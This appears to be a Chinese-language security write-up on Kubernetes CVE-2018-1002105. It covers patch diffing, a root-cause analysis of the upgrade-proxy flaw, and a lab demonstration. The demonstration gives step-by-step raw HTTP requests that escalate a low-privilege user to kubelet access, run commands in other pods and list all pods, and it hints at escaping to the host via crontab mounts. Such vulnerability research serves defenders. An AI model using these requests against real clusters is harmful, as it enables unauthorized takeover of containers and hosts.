作者:武器大師
來源:阿里先知社區
1 漏洞描述
Kubernetes特權升級漏洞(CVE-2018-1002105)由Rancher Labs聯合創始人及首席架構師Darren Shepherd發現(漏洞發現的故事也比較有趣,是由定位問題最終發現的該漏洞)。該漏洞經過詳細分析評估,主要可以實現提升k8s普通用戶到k8s api server的權限(默認就是最高權限),但是值的注意點是,這邊普通用戶至少需要具有一個pod的exec/attach/portforward等權限。

2 影響范圍
Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11) Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
3 漏洞來源
https://github.com/kubernetes/kubernetes/issues/71411 https://mp.weixin.qq.com/s/Q8XngAr5RuL_irRscbVbKw
4 漏洞修復代碼定位
4.1 常見的修復代碼定位手段
一般我們可以通過兩種方式快速定位到一個最新CVE漏洞的修復代碼,只有找到修復代碼,我們才可以快速反推出整個漏洞細節以及漏洞利用方式等。
方法一,通過git log找到漏洞修復代碼,例如
git clone https://github.com/kubernetes/kubernetes/
cd ./kubernetes
git log -p
由于本次漏洞針對該CVE單獨出了一個補丁版本,所以方法二可能定位修復代碼更快速,我們是通過方法二快速定位到漏洞代碼。
方法二,通過對最老的fix版本,進行代碼比對,快速定位漏洞修復代碼
4.2 定位CVE-2018-1002105修復代碼

如上圖所示,我們下載了1.10.10和1.10.11的代碼,通過文件比對,發現只有一個核心文件被修改了即:
staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go
綜上,我們可以確認,本次漏洞是在upgradeaware.go中進行了修復,修復的主要內容是 增加了獲取ResponseCode的方法
// getResponseCode reads a http response from the given reader, returns the status code,
// the bytes read from the reader, and any error encountered
func getResponseCode(r io.Reader) (int, []byte, error) {
rawResponse := bytes.NewBuffer(make([]byte, 0, 256))
// Save the bytes read while reading the response headers into the rawResponse buffer
resp, err := http.ReadResponse(bufio.NewReader(io.TeeReader(r, rawResponse)), nil)
if err != nil {
return 0, nil, err
}
// return the http status code and the raw bytes consumed from the reader in the process
return resp.StatusCode, rawResponse.Bytes(), nil
}
利用該方法獲取了Response
// determine the http response code from the backend by reading from rawResponse+backendConn
rawResponseCode, headerBytes, err := getResponseCode(io.MultiReader(bytes.NewReader(rawResponse), backendConn))
if err != nil {
glog.V(6).Infof("Proxy connection error: %v", err)
h.Responder.Error(w, req, err)
return true
}
if len(headerBytes) > len(rawResponse) {
// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend
rawResponse = headerBytes
}
并在一步關鍵判斷中限制了獲取到的Response必須等于http.StatusSwitchingProtocols(這個在go的http中有定義,StatusSwitchingProtocols = 101 // RFC 7231, 6.2.2),否則就return true。即本次修復最核心的邏輯是增加了邏輯判斷,限定Response Code必須等于101,如果不等于101則return true,后面我們將詳細分析這其中的邏輯,來最終倒推出漏洞。
if rawResponseCode != http.StatusSwitchingProtocols {
// If the backend did not upgrade the request, finish echoing the response from the backend to the client and return, closing the connection.
glog.V(6).Infof("Proxy upgrade error, status code %d", rawResponseCode)
_, err := io.Copy(requestHijackedConn, backendConn)
if err != nil && !strings.Contains(err.Error(), "use of closed network connection") {
glog.Errorf("Error proxying data from backend to client: %v", err)
}
// Indicate we handled the request
return true
}
附上此次commit記錄
https://github.com/kubernetes/kubernetes/commit/0535bcef95a33855f0a722c8cd822c663fc6275e
5 漏洞分析
5.1 漏洞原理分析
下圖為本次漏洞修復的最核心邏輯,分析這段代碼的內在含義,可以幫助我們去理解漏洞是如何產生的。
代碼位置: staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go

在分析漏洞修復邏輯之前,我們需要先看下上圖代碼中兩個Goroutine有什么作用,通過代碼注釋或者跟讀都不難看出這邊主要是在建立一個proxy通道。
對比修復前后的代碼處理流程,可以發現
修復后:
需要先獲取本次請求的rawResponseCode,且判斷rawResponseCode不等于101時,return true,即無法走建立proxy通道。如果rawResponseCode等于101,則可以走到下面兩個Goroutine,成功建立proxy通道。
修復前:
由于沒有對返回碼的判斷,所以無論實際rawResponseCode會返回多少,都會成功走到這兩個Goroutine中,建立起proxy通道。
綜合上述分析結果,不難看出本次修復主要是為了限制rawResponseCode不等于101則不允許建立proxy通道,為什么這么修復呢?
仔細分析相關代碼我們可以看出當請求正常進行協議切換時,是會返回一個101的返回碼,繼而建立起一個websocket通道,該websocket通道是建立在原有tcp通道之上的,且在該TCP的生命周期內,其只能用于該websocket通道,所以這是安全的。 而當一個協議切換的請求轉發到了Kubelet上處理出錯時,上述api server的代碼中未判斷該錯誤就繼續保留了這個TCP通道,導致這個通道可以被TCP連接復用,此時就由api server打通了一個client到kubelet的通道,且此通道實際操作kubelet的權限為api server的權限。
附:
為了更好的理解,我們可以了解下API Server和Kubelet的基礎概念。

(1) k8s API Server
API Server是整個系統的數據總線和數據中心,它最主要的功能是提供REST接口進行資源對象的增刪改查,另外還有一類特殊的REST接口—k8s Proxy API接口,這類接口的作用是代理REST請求,即kubernetes API Server把收到的REST請求轉發到某個Node上的kubelet守護進程的REST端口上,由該kubelet進程負責響應。
(2) Kubelet
Kubelet服務進程在Kubenetes集群中的每個Node節點都會啟動,用于處理Master下發到該節點的任務,管理Pod及其中的容器,同時也會向API Server注冊相關信息,定期向Master節點匯報Node資源情況。
5.2 漏洞利用分析
所以現在我們需要構造一個可以轉發到Kubelet上并處理出錯的協議切換請求,這里包含以下三點
5.2.1 如何通過API server將請求發送到Kubelet
代碼路徑:pkg/kubelet/server/server.go

通過跟蹤Kubelet的server代碼,可以發現Kubelet server的InstallDebuggingHandlers方法中注冊了exec、attach、portForward等接口,同時Kubelet的內部接口通過api server對外提供服務,所以對API server的這些接口調用,可以直接訪問到Kubelet(client -->> API server --> Kubelet)。
5.2.2 如何構造協議切換
代碼位置:staging/src/k8s.io/apimachinery/pkg/util/httpstream/httpstream.go

很明顯,在IsUpgradeRequest方法進行了請求過濾,滿足HTTP請求頭中包含 Connection和Upgrade 要求的將返回True。

IsUpgradeRequest返回False的則直接退出tryUpdate函數,而返回True的則繼續運行,滿足協議協議切換的條件。所以我們只需發送給API Server的攻擊請求HTTP頭中攜帶Connection/Upgrade Header即可。
5.2.3 如何構造失敗
代碼位置:pkg/kubelet/server/remotecommand/httpstream.go

上圖代碼中可以看出如果對exec接口的請求參數中不包含stdin、stdout、stderr三個,則可以構造一個錯誤。
至此,漏洞產生的原理以及漏洞利用的方式已經基本分析完成。
6 漏洞攻擊利用思路
6.1 HTTP與HTTPS下的API SERVER
針對此次漏洞,需要說明下,分為兩種情況
第一種情況,K8S未開啟HTTPS,這種情況下,api server是不鑒權的,直接就可以獲取api server的最高權限,無需利用本次的漏洞,故不在本次分析范圍之內。
第二種情況,K8S開啟了HTTPS,使用了權限控制(默認有多種認證鑒權方式,例如證書雙向校驗、Bearer Token 模式等),這種情況下K8S默認是支持匿名用戶的,即匿名用戶可以完成認證,但默認匿名用戶會被分配到 system:anonymous 用戶名和 system:unauthenticated 組,該組默認權限非常低,只能訪問一些公開的接口,例如https://{apiserverip}:6443/apis,https://{apiserverip}:6443/openapi/v2等。這種情況下,才是我們本次漏洞利用的重點領域。
6.2 K8S開啟認證授權下的利用分析
下面我們梳理下,在K8S已經開啟認證授權下,該漏洞是如何利用的。

7 漏洞利用演示
7.1 滿足先決條件
先看下正常請求執行的鏈路是怎么樣的:client --> apiserver --> kubelet
即client首先對apiserver發起請求,例如發送請求 [連接某一個容器并執行exec] ,請求首先會被發到apiserver,apiserver收到請求后首先對該請求進行認證校驗,如果此時使用的是匿名用戶(無任何認證信息),正如上面代碼層的分析結果,api server上是可以通過認證的,但會授權失敗,即client只能走到apiserver而到不了kubelet就被返回403并斷開連接了。

所以本次攻擊的先決條件是,我們需要有一個可以從client到apiserver到kubelet整個鏈路通信認證通過的用戶。
所以在本次分析演示中,我們創建了一個普通權限的用戶,該用戶只具有role namespace(新創建的)內的權限,包括對該namespace內pods的exec權限等,對其他namespace無權限。并啟用了Bearer Token 認證模式(認證方式為在請求頭加上Authorization: Bearer 1234567890 即可)。
7.2 構造第一次請求
攻擊點先決條件滿足后,我們需要構造第一個攻擊報文,即滿足API server 往后端轉發(通過HTTP頭檢測),且后端kubelet會返回失敗。先構造一個可以往后端轉發的請求,構造消息如下
192.168.127.80:6443
GET /api/v1/namespaces/role/pods/test1/exec?command=bash&stderr=true&stdin=true&stdout=true&tty=true HTTP/1.1
Host: 192.168.127.80:6443
Authorization: Bearer 1234567890
Connection: upgrade
Upgrade: websocket
但是這個消息還不滿足我們的要求,因為這個消息到kubelet后可以被成功處理并返回101,然后成功建立一個到我們有權限訪問的role下的test容器的wss控制連接,這并不是我們所期待的,我們期待的是獲取K8S最高權限,可以連接任意容器,執行任意操作等。
所以我們要改造這個請求,來構造出一個錯誤的返回,利用錯誤返回沒有被處理導致連接可以繼續保持的特性來復用通道打成后面的目的。改造請求如下
192.168.127.80:6443
GET /api/v1/namespaces/role/pods/test1/exec HTTP/1.1
Host: 192.168.127.80:6443
Authorization: Bearer 1234567890
Connection: upgrade
Upgrade: websocket
該請求返回結果為
HTTP/1.1 400 Bad Request
Date: Fri, 07 Dec 2018 08:28:34 GMT
Content-Length: 52
Content-Type: text/plain; charset=utf-8
you must specify at least 1 of stdin, stdout, stderr
為什么這么構造,可以產生失敗呢?因為exec接口的調用至少要指定標準輸入、標準輸出或錯誤輸出中的任意一個(正如前面代碼分析中所述),所以我們沒有對exec接口進行傳參即可完成構造。
7.3 構造第二次請求
因為上面錯誤返回后,API SERVER沒有處理,所以此時我們已經打通了到kubelet的連接,接下來我們就可以利用這個通道來建立與其它pod的exec連接。但是此時如果對kubelet不熟悉的同學在繼續攻擊是可能會犯這樣的錯誤,例如這樣去構造了第二次的攻擊報文
GET /api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-v2kgb/exec?command=/bin/hostname&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
如果這樣發送第二個請求來獲取其它無權限pod的exec權限時,返回的結果會是如下所示,且通道繼續保留
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Fri, 07 Dec 2018 13:14:50 GMT
Content-Length: 19
404 page not found
這是因為當前的通道我們的消息是會直接被轉發到kubelet上,而不需要對API server發送exec讓他來進行api請求解析處理,所以我們的請求地址不應該是/api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-v2kgb/exec而應該是如下所示,直接調用kubelet的內部接口即可,如下所示
GET /exec/kube-system/kube-flannel-ds-amd64-v2kgb/kube-flannel?command=/bin/hostname&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
說明下,這個接口中路徑的入參是這樣的:/exec/{namespace}/{pod}/{container}?command=...
該請求即可獲取到我們所期待的結果,如下所示,成功獲取到了對其他無權限容器命令執行的結果
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: v4.channel.k8s.io
?pegasus03?#{"metadata":{},"status":"Success"}??
7.4 如何獲取其它POD信息
在發送第二個報文并完成漏洞攻擊的過程中,我們演示攻擊了kube-system namespace下的kube-flannel-ds-amd64-v2kgb pod,那么真實攻擊環境下,我們如何獲取到其它namespace與pods等信息呢?
因為我們現在已經獲取了K8S最高管理權限,所以我們可以直接調用kubelet的內部接口去查詢這些信息,例如發送如下請求來獲取正在運行的所有pods的詳細信息
GET /runningpods/ HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
結果如下
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"test1","namespace":"role","uid":"f99e2d0a-f907-11e8-8fb9-000c290f37a1","creationTimestamp":null},"spec":{"containers":[{"name":"test","image":"sha256:17a5ba3b1216ccac0f8ee54568ba256619160ff4020243884bc3ed86bf8ae737","resources":{}}]},"status":{}},{"metadata":{"name":"test","namespace":"role","uid":"d4779abc-f907-11e8-8fb9-000c290f37a1","creationTimestamp":null},"spec":{"containers":[{"name":"test","image":"sha256:17a5ba3b1216ccac0f8ee54568ba256619160ff4020243884bc3ed86bf8ae737","resources":{}}]},"status":{}},{"metadata":{"name":"istio-sidecar-injector-6bd4d9487c-fgkds","namespace":"istio-system","uid":"c4fdf537-f23f-11e8-b2db-000c290f37a1","creationTimestamp":null},...省略
7.5 獲取K8S權限后如何獲取主機權限
這邊不再延伸,有興趣可以具體嘗試,例如可以利用K8S新建一個容器,該容器直接掛載系統關鍵目錄,如crontab配置目錄等,然后通過寫定時任務等方式獲取系統權限。
7.6 一個細節
補充一個測試利用過程中的坑,讓大家提前了解,避免踩坑。
測試構造第二個請求是,直接在目標主機192.168.127.80上執行下面命令找一個pod的基礎信息來進行攻擊(沒有直接調用/runningpods查詢)
kubectl get namespace
kubectl -n kube-system get pods
kubectl -n kube-system get pods kube-flannel-ds-amd64-48sj8 -o json

如上圖所示,查詢返回了3個pod,第一次測試時,直接選擇了第一個pod kube-flannel-ds-amd64-48sj8,發送第二個報文后,返回信息如下:
HTTP/1.1 404 Not Found
Date: Fri, 07 Dec 2018 14:24:49 GMT
Content-Length: 18
Content-Type: text/plain; charset=utf-8
pod does not exist
提示pod不存在,這個就很奇怪了,仔細校驗接口調用是對的,也不會有權限問題,現在的權限實際就是apiserver的權限,默認是具有所有權限了,namespace和pod信息是直接查詢到的也不會有錯,怎么會pod不存在?
實際原因是這樣的,由于我們攻擊發送的第一個報文(用來構建一個到kubelet的通道),連接的是role namespace的test pod,這個pod實際是在節點3而非當前主機節點1(192.168.127.80)上,所以我們的通道直連接的是節點3上的kubelet,因此我們無法直接訪問到其它節點上的pod,而上述查詢獲取到的第一個pod正好是其它節點上的,導致漏洞利用時返回了404。
8 相關知識
由于該漏洞涉及K8S、websocket等相關技術細節,下面簡單介紹下涉及到的相關知識,輔助理解與分析漏洞。
8.1 K8S權限相關
kubernetes 主要通過 APIServer 對外提供服務,對于這樣的系統集群來說,請求訪問的安全性是非常重要的考慮因素。如果不對請求加以限制,那么會導致請求被濫用,甚至被黑客攻擊。
kubernetes 對于訪問 API 來說提供了兩個步驟的安全措施:認證和授權。認證解決用戶是誰的問題,授權解決用戶能做什么的問題。通過合理的權限管理,能夠保證系統的安全可靠。
下圖是 API 訪問要經過的三個步驟,前面兩個是認證和授權,第三個是 Admission Control,它也能在一定程度上提高安全性,不過更多是資源管理方面的作用。
注:只有通過 HTTPS 訪問的時候才會通過認證和授權,HTTP 則不需要鑒權

認證授權基本概念請參考:https://www.jianshu.com/p/e14203450bc3
下面以本次測試建立的普通權限用戶的過程為例,簡單說說明下k8s環境下如何去新建一個普通權限的用戶的基本步驟(詳情可以參考:https://mritd.me/2017/07/17/kubernetes-rbac-chinese-translation)
1、cd /opt/awesome/role/
2、建一個空間,比如說role
kubectl create namespace role
3、創建一個pod
kubectl create -f test_pod.yaml
4、創建RBAC規則,給用戶組test賦予了list所有namespaces、在namespace role下list/get pods、在namespace role下get pods/exec的權限
kubectl create -f test_cluster_role.yaml
kubectl create -f test_cluster_role_binding.yaml
kubectl create -f test_role.yaml
kubectl create -f test_role_binding.yaml
5、創建tokens文件/etc/kubernetes/pki/role-token.csv
6、令apiserver開啟token-auth-file
在/etc/kubernetes/manifests/kube-apiserver.yaml中加一條--token-auth-file=/etc/kubernetes/pki/role-token.csv
7、等待apiserver重啟,這時候就可以用使用curl測試下權限配置是否生效了,例如
curl -k --header "Authorization: Bearer {你配置的token}" https://192.168.127.80:6443/api/v1/namespaces/role/pods以test-role用戶來list在namespace role下的pods
相關配置文件
[root@pegasus01 role]# cat test_cluster_role_binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-role
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-role
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
[root@pegasus01 role]# cat test_cluster_role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: test-role
rules:
- apiGroups:
- ""
resources:
- namespaces
verbs:
- get
- list
- watch
[root@pegasus01 role]# cat test_pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: test
namespace: role
spec:
containers:
- command:
- /bin/sh
- -c
- sleep 36000000
image: grafana/grafana:5.2.3
imagePullPolicy: IfNotPresent
name: test
resources:
requests:
cpu: 10m
dnsPolicy: ClusterFirst
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
[root@pegasus01 role]# cat test_role_binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-role
namespace: role
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-role
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
[root@pegasus01 role]# cat test_role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: test-role
namespace: role
rules:
- apiGroups:
- ""
resources:
- configmaps
verbs:
- get
- list
- delete
- apiGroups:
- ""
resources:
- pods
verbs:
- get
- list
- delete
- watch
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- create
- get
[root@pegasus01 role]# cat /etc/kubernetes/pki/role-token.csv
1234567890,test-role,test-role,test
8.2 websocket相關
WebSocket是一種在單個TCP連接上進行全雙工通信的協議。所以WebSocket 是獨立的、創建在 TCP 上的協議。Websocket 通過 HTTP/1.1 協議的101狀態碼進行握手。為了創建Websocket連接,需要通過瀏覽器發出請求,之后服務器進行回應,這個過程通常稱為“握手”(handshaking)。
一個典型的Websocket握手請求如下:
客戶端請求
GET / HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: example.com
Origin: http://example.com
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
Sec-WebSocket-Version: 13
服務器回應
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: fFBooB7FAkLlXgRSz0BT3v4hq5s=
Sec-WebSocket-Location: ws://example.com/
字段說明
Connection必須設置Upgrade,表示客戶端希望連接升級。
Upgrade字段必須設置Websocket,表示希望升級到Websocket協議。
Sec-WebSocket-Key是隨機的字符串,服務器端會用這些數據來構造出一個SHA-1的信息摘要。把“Sec-WebSocket-Key”加上一個特殊字符串“258EAFA5-E914-47DA-95CA-C5AB0DC85B11”,然后計算SHA-1摘要,之后進行BASE-64編碼,將結果做為“Sec-WebSocket-Accept”頭的值,返回給客戶端。如此操作,可以盡量避免普通HTTP請求被誤認為Websocket協議。
Sec-WebSocket-Version 表示支持的Websocket版本。RFC6455要求使用的版本是13,之前草案的版本均應當棄用。
Origin字段是可選的,通常用來表示在瀏覽器中發起此Websocket連接所在的頁面,類似于Referer。但是,與Referer不同的是,Origin只包含了協議和主機名稱。
其他一些定義在HTTP協議中的字段,如Cookie等,也可以在Websocket中使用。
8.3 TCP連接復用與HTTP復用
TCP連接復用技術通過將前端多個客戶的HTTP請求復用到后端與服務器建立的一個TCP連接上。這種技術能夠大大減小服務器的性能負載,減少與服務器之間新建TCP連接所帶來的延時,并最大限度的降低客戶端對后端服務器的并發連接數請求,減少服務器的資源占用。
在HTTP 1.0中,客戶端的每一個HTTP請求都必須通過獨立的TCP連接進行處理,而在HTTP 1.1中,對這種方式進行了改進。客戶端可以在一個TCP連接中發送多個HTTP請求,這種技術叫做HTTP復用(HTTP Multiplexing)。它與TCP連接復用最根本的區別在于,TCP連接復用是將多個客戶端的HTTP請求復用到一個服務器端TCP連接上,而HTTP復用則是一個客戶端的多個HTTP請求通過一個TCP連接進行處理。前者是負載均衡設備的獨特功能;而后者是HTTP 1.1協議所支持的新功能,目前被大多數瀏覽器所支持。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/757/
暫無評論